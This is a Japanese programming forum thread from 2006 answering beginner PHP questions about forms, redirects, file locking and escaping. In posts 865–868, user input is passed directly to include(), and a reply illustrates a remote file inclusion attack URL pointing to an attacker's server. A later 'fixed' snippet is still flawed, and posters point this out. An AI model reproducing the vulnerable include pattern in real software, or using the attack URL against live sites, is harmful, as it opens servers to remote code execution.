トップページ⇒php
1001コメント352KB

【PHP】下らねぇ質問はここに書き込みやがれpart20

レス数が900を超えています。1000を超えると表示できなくなるよ。
0001nobodyさん2006/04/28(金) 04:12:33ID:???
PHPに関するくだらねぇ質問用スレです。
ここなら本スレで回答のないお前の下らない質問に回答があるかも知れません。

まず読め【PHP マニュアル】
http://www.php.net/manual/ja/

本スレ【PHP】質問スレッドpart34【php】
http://pc8.2ch.net/test/read.cgi/php/1142903954/

【PHP】下らねぇ質問はここに書き込みやがれ Part19
http://pc8.2ch.net/test/read.cgi/php/1144513878/

過去スレは>>2-3あたり
0810nobodyさん2006/05/20(土) 18:12:09ID:???
>>805
面倒なら一旦
$var2=explode(' ', $var);
とかやって、1つずつ分割してから
foreach ($var2 as $var3) { if (preg_match('〜
のように処理しては?
どっちが分かりやすいかは(゚�听)シラネ
0811nobodyさん2006/05/20(土) 18:36:42ID:???
送られてくるクエリの型を変更できるのならそれがいいかもな
0812nobodyさん2006/05/20(土) 20:54:02ID:poPXxmgL
PHPの組み込み関数で複合できる暗号関数ってありますか?
ハッシュは見つかるのですが。。
0813nobodyさん2006/05/20(土) 21:01:18ID:???
PEARならcryptがあった気がするけど組み込みで可逆は記憶にないなぁ・・・
つか可逆暗号化なんて使う機会なかったし。

Blowfishなら簡単に作れるから作ってみたら?
08148122006/05/20(土) 21:07:32ID:???
ご回答ありがとうございます。
PHPが出てから結構たつ気がするのですが、ライブラリはまだPerlに比べて貧弱なんですね。。orz
けれど、mod_phpで運用されているところが多いのを考えると。。
Blowish、CPANから引っ張って来て移植してみます。ありがとうございました!
0815nobodyさん2006/05/20(土) 21:15:06ID:???
セキュリティ対策(CSRF対策など)チェックのためなどにhiddenのvalueを変更したり、値を
変更することを

フォーム内容を変更して

って言っていたんですが、通じなかったのですが、通常なんて言うのですか?
0816nobodyさん2006/05/20(土) 21:59:06ID:???
最初の2行
0817nobodyさん2006/05/20(土) 22:05:08ID:???
>>815
業務でやってんならソイツが糞
0818nobodyさん2006/05/20(土) 22:05:18ID:???
>>815
「フォーム内容」だと漠然としすぎて(値だけじゃなく構成から何から全部含むので)
それで通じるとこは普通無いと思う。
素直に具体的に書け。
0819nobodyさん2006/05/20(土) 22:05:29ID:???
>>815
すみませんが、あちらにお帰り下さい。
0820nobodyさん2006/05/20(土) 22:08:22ID:???
みなさんすみません。
>>815は
http://pc8.2ch.net/test/read.cgi/hp/1141064508/
で暴れまわっている、◆uuPwxrB4qc というキティちゃんなので
完全放置してください。
0821nobodyさん2006/05/20(土) 22:13:57ID:???
はーい
せんせーわかりましたー(;´Д`)∩
0822nobodyさん2006/05/20(土) 22:22:11ID:???
>>815
強いて言えばフォームの送信内容を変更して、かなぁ。
普通はそれ、フォーム内容とは言わないと思う。
0823nobodyさん2006/05/20(土) 23:00:41ID:???
ぜんぜん分かっとらんやないかー
0824nobodyさん2006/05/21(日) 00:35:06ID:???
>>815が皆様に御迷惑をおかけしたようで大変申し訳御座いませんでした。
http://pc8.2ch.net/test/read.cgi/hp/1141064508/
にてなぶり殺しの刑に処しましたのでお許しくださいませ。
0825nobodyさん2006/05/21(日) 00:38:49ID:???
はーい
せんせーわかりましたー(;´Д`)∩
0826nobodyさん2006/05/21(日) 00:53:41ID:???
>>815
フォームをどうこうでは難しいんじゃないかなぁ
強いて言うならパンツ一丁というか、、、
0827nobodyさん2006/05/21(日) 17:14:54ID:???
フォームのデータをPOSTしているんですが、
なぜか受け取り側ではGETでしか値を取得できません。
きちんとPOSTでうけとりたいのですが、
どこをいじればいいんでしょう?
お願いします。
0828nobodyさん2006/05/21(日) 17:23:45ID:???
>>827
methodがgetになっている
0829nobodyさん2006/05/21(日) 17:33:39ID:???
>>828
↓これがGETでしか受信できません。

<form action="top.php" name="top" method="POST">
<table>
<tr>
<td><input type="text" name="name" value=""></td>
</tr>
<tr>
<td><input type="submit" name="confirm" value="確認"></td>
</tr>
</table>
</form>

0830nobodyさん2006/05/21(日) 17:46:10ID:DL+BRbj9
>>829
なぜGETでしか「受信」できてないのかを書いたほうがいいかも
#どういう事象からGETでしか「受信」できてないかという結論を導き出したかってことね
0831nobodyさん2006/05/21(日) 18:07:43ID:???
YouTubeのように、動画から静止画を抜き出したいんですが
これってかなり技術を要するのでしょうか?
解説するページ等があったら教えてください。
0832nobodyさんNGNG
パンツのゴムひもがゆるゆるなんですが
直す方法ないでしょうか?
パンツがずり下がってきて困ってるんです。
0833nobodyさん2006/05/21(日) 18:22:16ID:???
>>832
パンツに紐は付いてないのですか?
それを縛ればOK
0834nobodyさん2006/05/21(日) 18:36:47ID:???
>>831
バックグラウンドで動画からサムネイル抽出するツール起動すればいいだけ。
0835nobodyさん2006/05/21(日) 18:55:08ID:???
>>831
ffmpegだっけなぁ。そういう動画を扱う(外部)プログラムを>>834のように実行させる
0836nobodyさん2006/05/21(日) 18:57:03ID:???
>>829
top.php の方もヨロ
0837nobodyさん2006/05/21(日) 19:04:10ID:???
>>834,835
レンタルサーバー等では無理そうですね…。
ヒントもらえたので色々調べてみようと思います。
0838nobodyさん2006/05/21(日) 19:38:51ID:???
>>827>>829
変な文章だな。送信はGETでやれてんの?POSTでやれてんの?
ブラウザのアドレス欄を見ればどっちで送信されてるかは分かるだろう。
アドレス欄に「?〜」が付いていないのに、受け取り側では$_POSTが空っぽ、って話?
0839nobodyさん2006/05/21(日) 19:40:09ID:???
>>837
レンタルスペースだと使えるとこは限られるだろうけど
サーバー貸しのとこならそのくらいインストールできるんじゃね?
0840nobodyさん2006/05/21(日) 19:45:51ID:???
>>829
実はformタグが入れ子になってたりしてな
0841nobodyさん2006/05/21(日) 22:03:59ID:???
>>840
というか、その前にある<form>タグの閉じ忘れとか。
0842nobodyさん2006/05/21(日) 23:32:31ID:???
ログアウトボタンを押したら特定のページに移動するものを作っています。

<?php
if (isset($logout)) {
unset($_SESSION['id']);
header("Location: ../login.php");
}else{
$mess .= "ログアウトしますか?";
$mess .= "<form method='POST' action='$PHP_SELF'>";
$mess .= "<input type='submit' name='logout' value='ログアウト'>";
$mess .= "</from>";
}
echo $mess;
?>

しかし、「ログアウト」のボタンを押すと、以下のようなエラーメッセージが出て
locationされません。どうしたらいいでしょうか?
Cannot modify header information - headers already sent by (output started at
0843nobodyさん2006/05/21(日) 23:38:10ID:???
>>842
ファイル名見せてみ?
08448422006/05/21(日) 23:39:51ID:???
>>843
ファイル名は(というかファイルの場所は)
http://(ドメイン名)/admin/logout/index.php

にしています。
0845nobodyさん2006/05/21(日) 23:46:17ID:???
header()関数を使う前に何か出力していたので、HTTPヘッダを出力できなかった、というのがそのエラーの内容。
header()の代わりにexit()で終了させて何も出力されていないか確認してごらん。
「何も」にはスペースや改行コードも含まれる。
0846nobodyさん2006/05/21(日) 23:49:40ID:???
>>842
↓ここに書いてある通り、
headers already sent by (output started at
↓の行が実行される前に何かが出力されている
header("Location: ../login.php");

<?phpの前に空き行が無いか確認
というか、「started at〜」の所にその最初の出力がある行番号が出ているはずだが
あと、Location:のとび先は本来は絶対アドレスで書く
いずれも詳しくはマニュアルのheaderの項目を嫁
0847nobodyさん2006/05/21(日) 23:49:58ID:???
<?phpの前とかに空白あるってのは定番のバグ
0848nobodyさん2006/05/21(日) 23:50:34ID:???
>>842
絶対に<?php の前に<html>から始まる一連のHTMLタグが書かれているでしょ
08498422006/05/21(日) 23:56:42ID:???
>>845
exit();をしましたが、何も出力されませんでした。

>>846-848
もしかして同じページにheaderが2つあったらいけないのでしょうか?
というのも
<?
ログインを判別するソース。ログインしてない場合はheader("Location")で
ログインフォームに戻す
?>
<html>
〜
>>842のソース
</html>

となっています。
0850nobodyさん2006/05/21(日) 23:59:02ID:???
>>849
>>842のソースの前に<html>あるじゃん。それだよ。
ログインチェックと一緒にやりましょ。
08518422006/05/22(月) 00:03:19ID:???
>>850
わかりました。修正してみます。ありがとうございました。
0852nobodyさん2006/05/22(月) 00:03:25ID:???
>>649
headerが二つ書いてあったって別に良いけど、
出力(実行)は一回だけ。

ただし、header関数実行以外でも<?php 〜 ?>の外側に何かが書かれていると、
その時点で、PHPはtext/htmlというMIMEヘッダーを出力する。
0853nobodyさん2006/05/22(月) 00:29:24ID:???
ttp://cockatiel.blog6.fc2.com/blog-entry-404.html
0854nobodyさん2006/05/22(月) 00:39:27ID:???
>>853
しょーもないからコメントしてあげたw
0855nobodyさん2006/05/22(月) 00:44:06ID:???
またしょーもないコメント書いたもんだなぁw
0856nobodyさん2006/05/22(月) 00:49:48ID:???
>>855
いやぁ、それほどでも…(デレデレ
0857nobodyさん2006/05/22(月) 00:51:04ID:???
俺も書いてきたぜ!

…真面目に相手しすぎ?
0858nobodyさん2006/05/22(月) 00:54:58ID:???
ほめてないお(^^;
0859nobodyさん2006/05/22(月) 00:57:05ID:???
ところで最初のコメントの 意味が逆です ってどういういみ?

男らしく謝る心の広さw
0860nobodyさん2006/05/22(月) 01:02:50ID:???
>>859
「多分>>857氏が書いた内容」を読めば分かると思う。
0861nobodyさん2006/05/22(月) 01:41:38ID:U9KQg94s
require()で、存在しないファイルを指定した場合、「ファイルが無いよ」という
エラーメッセージを返したいのですが、require()は取りこみに失敗しても「FALSE」を返しませんよね?

こういった場合、みなさんはどうします?
0862nobodyさん2006/05/22(月) 01:50:50ID:???
>>861
if(file_exists())
を直前に行っておく。
0863nobodyさん2006/05/22(月) 01:56:59ID:???
>>861
require()だと普通に「ファイル読ねエラー」吐いて停止するでそ?

include()掛けて、インクルードファイルの中に
定数定義でも仕込んでおいて、それを評価するとか。
思いつきだけど。
0864nobodyさん2006/05/22(月) 02:04:29ID:???
>>861
require()で、存在しないファイルを指定
↑そういう実装の仕方が糞だと思うに一票。
08658612006/05/22(月) 02:07:01ID:U9KQg94s
>>862-863
ヒント、ありがとうです。

$cmd  =  $_GET["cmd"];
if (file_exists($cmd . ".inc.php") {
    include ($cmd . ".inc.php");
} else {
    $error  =  "Not Found...";
}
0866nobodyさん2006/05/22(月) 02:12:27ID:???
>>865
そのままだとXSSの危険性があるので preg_match() で正規表現による
マッチングを行ったほうがいいと思う。念のため。
0867nobodyさん2006/05/22(月) 03:10:50ID:???
>>865
http://>>865サーバ/test.php?cmd=http://オレのサーバ/悪意のあるコードを含んだinc.phpのあるディレクトリパス
08688612006/05/22(月) 03:37:18ID:U9KQg94s
>>866-867
こんな感じでどうでしょうか?

if ($_GET["cmd"]) {
  $cmd = $_GET["cmd"];
  if (preg_match ("[0-9A-Za-z]", $cmd, $m_cmd) ) {
     if (file_exists ("./plugin" . $m_cmd . ".inc.php") != FALSE) {
        include ("./plugin/" . $m_cmd . ".inc.php");
     } else {
        $error = "Plugin: " . htmlspecialchars ($m_cmd) . "is not implemented";
     }
  }
}
0869nobodyさん2006/05/22(月) 04:34:06ID:???
Cでよくやる
#define DEBUG
#ifdef DEBUG
デバグ用コード
#endif
に近いことを php でやるにはどうしたらいいでしょう?

デバグ用のコードに簡単に切り替えられればなんでもいいですが。
0870nobodyさん2006/05/22(月) 04:47:43ID:???
define('DEBUG', true);
if (defined('DEBUG')):
デバグ用コード
endif;
0871nobodyさん2006/05/22(月) 04:49:09ID:3WaYFEXj
以下のコード(ほんの一例)では・・・
system("cvs checkout -d /usr/local/www/subdomain/cvs example.com");
system("chmod 707 /usr/local/www/subdomain/cvs/inc/class/smarty/app/templates_c");
必ず、1つめのsystemによる実行がすべて終わってから、2つめのsystemが実行されるのでしょうか?
(同時に実行してしまうことはないでしょうか?)
0872nobodyさん2006/05/22(月) 04:57:54ID:???
>>870
endifなんてPHPにあったっけ?
0873nobodyさん2006/05/22(月) 04:58:54ID:???
>>871
systemで実行するコマンドがバックグラウンド動作指定されてなければ大丈夫
0874nobodyさん2006/05/22(月) 05:05:07ID:???
>>867
それはfile_exists()の段階で弾かれそう
0875nobodyさん2006/05/22(月) 05:08:04ID:???
>>870
あれ、PHP って
if() {
function hoge() {
}
}
とかできるん?
0876nobodyさん2006/05/22(月) 05:18:08ID:???
>>872
つ http://www.php.net/manual/ja/control-structures.alternative-syntax.php
俺も余り使わんが
0877nobodyさん2006/05/22(月) 05:22:40ID:???
>>875
できるよ
0878nobodyさん2006/05/22(月) 05:38:25ID:???
>>874
ぐは
file_existsはリモートファイルでは使えないって書いてあったorz
みんな、マニュアルはよく読もうね(´・ω・`)
0879nobodyさん2006/05/22(月) 06:28:30ID:???
>>877
できんかった。
class 内ではできないのか?こまっちんぐ。
0880nobodyさん2006/05/22(月) 06:30:14ID:???
>>879
それは普通、extendでメソッドオーバーライトする場面じゃないのか?
0881nobodyさん2006/05/22(月) 06:35:44ID:???
>>880
php で関数上書きなんてできんでしょ?
0882nobodyさん2006/05/22(月) 06:39:29ID:???
>>881
あれ、ごめん勘違い。
オーバーロードができないだった。
0883nobodyさん2006/05/22(月) 06:42:45ID:???
あれ、でも、class 内関数でない関数をオーバーライドはできないよね?
そのときは例の if を使わざるをえない?
0884nobodyさん2006/05/22(月) 08:41:41ID:???
>>868
その正規表現だと「0-9A-Za-z」しかマッチしないんじゃないか?
正しく書かれていても、0-9a-zA-Zが1文字も含まれない場合しかスルーしない
if (preg_match ("!^\w+$!", $cmd, $m_cmd) ) {
とすべきか(_も含まれちゃうけど)

まあ既出の通りその後で蹴られるけど、関数の仕様が変わった時問題になるので
ファイル名のチェックは必要
0885nobodyさん2006/05/22(月) 08:50:14ID:???
フォルダに突っ込んであるファイルを全部requireするような機能がないので

foreach( scandir(INCLUDE_DIR) as $filename){
if(!is_dir($filename)){
require_once(INCLUDE_DIR.$filename);
}
}

みたいにやってるんですが、こんな感じの関数とかってありませんか?
0886nobodyさん2006/05/22(月) 09:12:27ID:QKaBTlkn
データの中から、χ行目だけ読み込んで、
上書きまたは削除というのはできませんか?
そういう関数はありませんか?
0887nobodyさん2006/05/22(月) 09:16:37ID:???
>>886
出来るけどそういう関数は無い。
DBが使うのが手っ取り早い
0888nobodyさん2006/05/22(月) 09:20:46ID:QKaBTlkn
>>887
やっぱり、ループで一行ずつ読み込まないといけないですよね。
DBを使わずに作成したいのですが、データが大量になるとつらいです?
0889nobodyさん2006/05/22(月) 10:13:56ID:???
>>888
大した技術も持ってないので全然自信ないけど、もし自分がやるとしたらこんな感じにすると思う…というのを書いてみた↓
間違いのご指摘とか大歓迎。

$buf_ary = array();
$fp = @fopen($path, 'r+');
flock($fp, LOCK_EX);
while ($line = fgets($fp)) {
  該当行に来たら$lineの中身を変更する処理
  $buf_ary[] = $line;
}
ftruncate($fp, 0);
rewind($fp);
fputs($fp, implode('', $buf_ary));
fclose($fp);

例えばこれが掲示板なら、データファイルはある程度の大きさで分割する。
また、単なる表示処理とかにはキャッシュを使い、データファイルを読みに行くような処理にはしない。
08908892006/05/22(月) 10:18:41ID:???
あ、削除もあるのか。

$buf_ary = array();
$fp = @fopen($path, 'r+');
flock($fp, LOCK_EX);
while ($line = fgets($fp)) {
  該当行に来たら$lineの中身を変更/削除する処理
  if ($line != '') { $buf_ary[] = $line; }
}
ftruncate($fp, 0);
rewind($fp);
fputs($fp, implode('', $buf_ary));
fclose($fp);

全然自信ないけどどうでしょう?
0891nobodyさん2006/05/22(月) 11:13:30ID:???
>>890
俺ならデータがかなり大きいと予想される場合は
固定長のレコードを使って、小さいならvar_export()とかのシリアライズ系
の関数をつかってすませてしまうかな。

まぁ、PHPで固定長のレコードを持つファイルを扱ったことなんて
ないんだけどね。
0892nobodyさん2006/05/22(月) 11:30:12ID:???
↑意味が分からない。
>>890みたいにソースでも晒してくれれば良いのに。
0893nobodyさん2006/05/22(月) 12:07:12ID:???
>>892
1行の長さが固定のファイルならfseek使って
ダイレクトに行単位の読み込みや上書きができるからそういうことじゃ?
0894nobodyさん2006/05/22(月) 12:10:19ID:???
>>893
そういう説明なら分かる。解説ありがと。
固定長なんてカウンタぐらいしか扱った事ないなー
08958902006/05/22(月) 12:15:08ID:???
で、自分の書いたソースってどんなでしょう?>識者の方々
「KENT WEB」とか見てperlから独学で入ったクチで、Cとかの経験は全く無しなんで自信ないのよね。
要するに基礎がおろそかっていうか。

今はperlなんて忘れちゃったけど、「KENT WEB」見て勉強してた当時のソースは、
なんか配列にデータ全部読む→配列を処理する→ファイルに書き込む
みたいな事をしてた気がする。アレは駄目だよね?
0896nobodyさん2006/05/22(月) 12:20:34ID:???
perlはもう忘れたので↑をもしPHPで書くとこんな感じ。

$data_ary = @file($path);
foreach ($data_ary as $key => $value) {
  なんか処理をごじょごじょ
}
$fp = @fopen…以下書き込み処理

↑これはやっぱりマズイだろと思い>>890を考えてみた。
MySQLばっかやってるので、ファイルベースの管理に疎い俺に勉強させて下さい。
0897nobodyさん2006/05/22(月) 12:24:46ID:???
>>890
ftruncate($fp, 0);
rewind($fp);
fputs();
よりも
rewind($fp);
fputs();
ftruncate($fp, ftell($fp));
の方が早いらしい

自分で確認したことはないので本当かどうかは知らないが
08988902006/05/22(月) 12:41:12ID:???
>>897
どもです。
早いか遅いかというよりもむしろ、
ftruncate($fp, 0); って要するにファイルの中身を一度空っぽにしてしまうっていう事ですので、
もし何らかの原因でファイルロックに失敗してた場合、中身が全部消えてしまう可能性がありますよね。

書かれている
rewind($fp);
fputs();
ftruncate($fp, ftell($fp));
の場合、データの長さが変になる可能性はあっても、中身が全部消えてしまう事は無いのではないかと思います。

こんな書き方もあるんですね。勉強になりました。有難う御座いました。
0899nobodyさん2006/05/22(月) 13:10:19ID:???
>>895
ネ申KENT巨匠云々はどーだっていいが、perlとphpは脳内で確実に切り離して考えろ
phpはperlよりJavaScript寄りで脊髄反射で書ける代物から勉強するが良い
と、->のアローを使わないし今一存在意義の分からない俺が言うのだから
説得力なんて丸っきし無いのだけどな
0900nobodyさん2006/05/22(月) 13:36:22ID:???
>>890
ロックに間違いはないし、この1つのファイルだけでやりくりするならこれでいいと思う。

問題点としては、
ファイルの内容を全てメモリ上にロードしていることに対するシステムへの負荷
これはまあ、よほどでなければ無視できる。
それから、インデックスや、別のログファイルなど、
他のファイルを読み書きすることになった場合の整合性かな。

>>895
メモリ上に全て読み込んでいるからKENTとやってることは実質同じだよ。
KENTのは読み込みと書き込みで別々になってるけど
処理全体をロックして堅牢性を確保してる。
ロック時間が長すぎない分にはあの書き方の方がわかりやすいと思う。
0901nobodyさん2006/05/22(月) 13:40:51ID:???
そーいやPHPのロック(flock)ってどこまで信用していいん?
Perlのロックはサーバによっては意味なかったり、
アンロックとファイルクローズの間隙に処理されるからアンロックせずにファイルクローズしたりと
あんまり信用できなかったけど・・・
0902nobodyさん2006/05/22(月) 14:01:52ID:???
全部読み込んでしまうコードのほうが処理に区切りがでてきて
追いかけやすいし、改変もしやすいかもしれない、
という利点もある。リッチプログラミングってやつだな。
スクリプト言語なんてリッチ以外の何者でもないし〜、
ってことで俺は人間の理解しやすさ重視で組むように昔方針変更した。
それでもソースコードレベルでの最適化を頑張るのも無駄じゃないし、
その人の方針しだいだよな。
09038902006/05/22(月) 14:01:53ID:???
>>899
切り離すっていうか、perlとphpしかやった事ないしもうperl自体忘れちゃってるので何とも。
perlならゴチャゴチャ関数書いてたのが初めから何でもかんでも用意されてて、
その関数通せば1行で終わり…php始めた頃はそういうところに感動しましたね。

>>900
>ファイルの内容を全てメモリ上にロードしていることに対するシステムへの負荷
>それから、インデックスや、別のログファイルなど、
>他のファイルを読み書きすることになった場合の整合性かな。
ここら辺を考えるのが面倒で、mysqlに逃げちゃうんですよね。。。

>>896に書いたソースでは、A・B別々の人がほぼ同時に書き込み処理を行った場合、先に書いた人の内容が
消えてしまう可能性がありますよね?>>900に書いたソースならそれは無いと思うですが、認識として間違ってます?

>>901
その点自分も結構疑問なのですが、
例えば1日300万以上回るカウンタ(データの長さは固定長になるようにしてる)で1年以上一度も壊れた事ないです。
0904nobodyさん2006/05/22(月) 14:07:33ID:P0gT7hBy
フォーム入力の際に、タグを無効かしたいので、確認画面で
$text = htmlspecialchars($_POST["text"]);
を入れました。

それで、確認画面ではタグが無効化しているのですが、そのまま登録すると
表示の画面ではタグが有効になっています。

そこで改めて確認の画面で
<?= htmlspecialchars($text);?>

としたのですが、今度はテキストエリアで入力した改行(<br>)が表示されてしまいました。

2chのフォームもそうですが、改行(<br>)は画面に表示させずに
その他のコードは完全に無効にするにはどうしたらいいのでしょうか?
0905nobodyさん2006/05/22(月) 14:16:04ID:???
>>903
>A・B別々の人がほぼ同時に書き込み処理を行った場合

合ってる。
だから、読み書きを分ける場合は処理全体をロックしていれば大丈夫。
俺なら、ロック用ファイルを別に用意してそこにflockするか
rename方式でやるかな。
09068902006/05/22(月) 14:19:04ID:???
また別件で質問なのですが、file()やfile_get_contents()等のファイル一気に読み取り系の関数って、
共有ロック処理(flock($fp, LOCK_SH)と同等の処理)されてるんでしょうか?
09078902006/05/22(月) 14:23:10ID:???
>>905
どもです。
つまり、ロック用ファイル=今処理中ですよと認識する為のフラグ みたいなもので、

書き込み中でそのファイルが存在する時は、読み取り処理を行えないようにする。
読み込み中でそのファイルが存在する時は、書き込み処理を行えないようにする。

という具合にすればOKって事ですよね?
0908nobodyさん2006/05/22(月) 14:35:52ID:???
>>904
あたりまえ
マニュアル嫁
09098902006/05/22(月) 14:39:20ID:???
>>904
自分のせいで埋もれてしまうと申し訳ないので回答しようと思ったのだけど、
いまいち質問の意味が掴みきれないので↓で勘弁して下さい。

仮に改行コードが"\n"で統一できてると仮定します(その方が説明しやすいので。実際には環境により異なります)

$text = $_POST['text'];
$text_escape = htmlspecialchars($text); //※1
$text_disp = str_replace("\n", '<br>', $text_escape); //※2
※$text_escapeとか$text_dispを用意する必要はないけど、分かりやすいかと思い敢えてそうしています。

という順番で処理すれば、改行(=\n)は<br>となり、その他のHTMLタグはエスケープ処理されます。
※1と※2の処理が逆になると、どうなるか分かりますよね?問題が起こってるのはそういう理由だと思います。

連投すみませんでした。
しばらく時間をおきます。
0910nobodyさん2006/05/22(月) 14:41:54ID:???
>>904
最後2行に対し答えるとすると、

$text = htmlspecialchars($_POST['text']);
$text = str_replace("<br>","<br>",$text);

ってか、処理の流れがヘンなのが一番の問題かも。
レス数が900を超えています。1000を超えると表示できなくなるよ。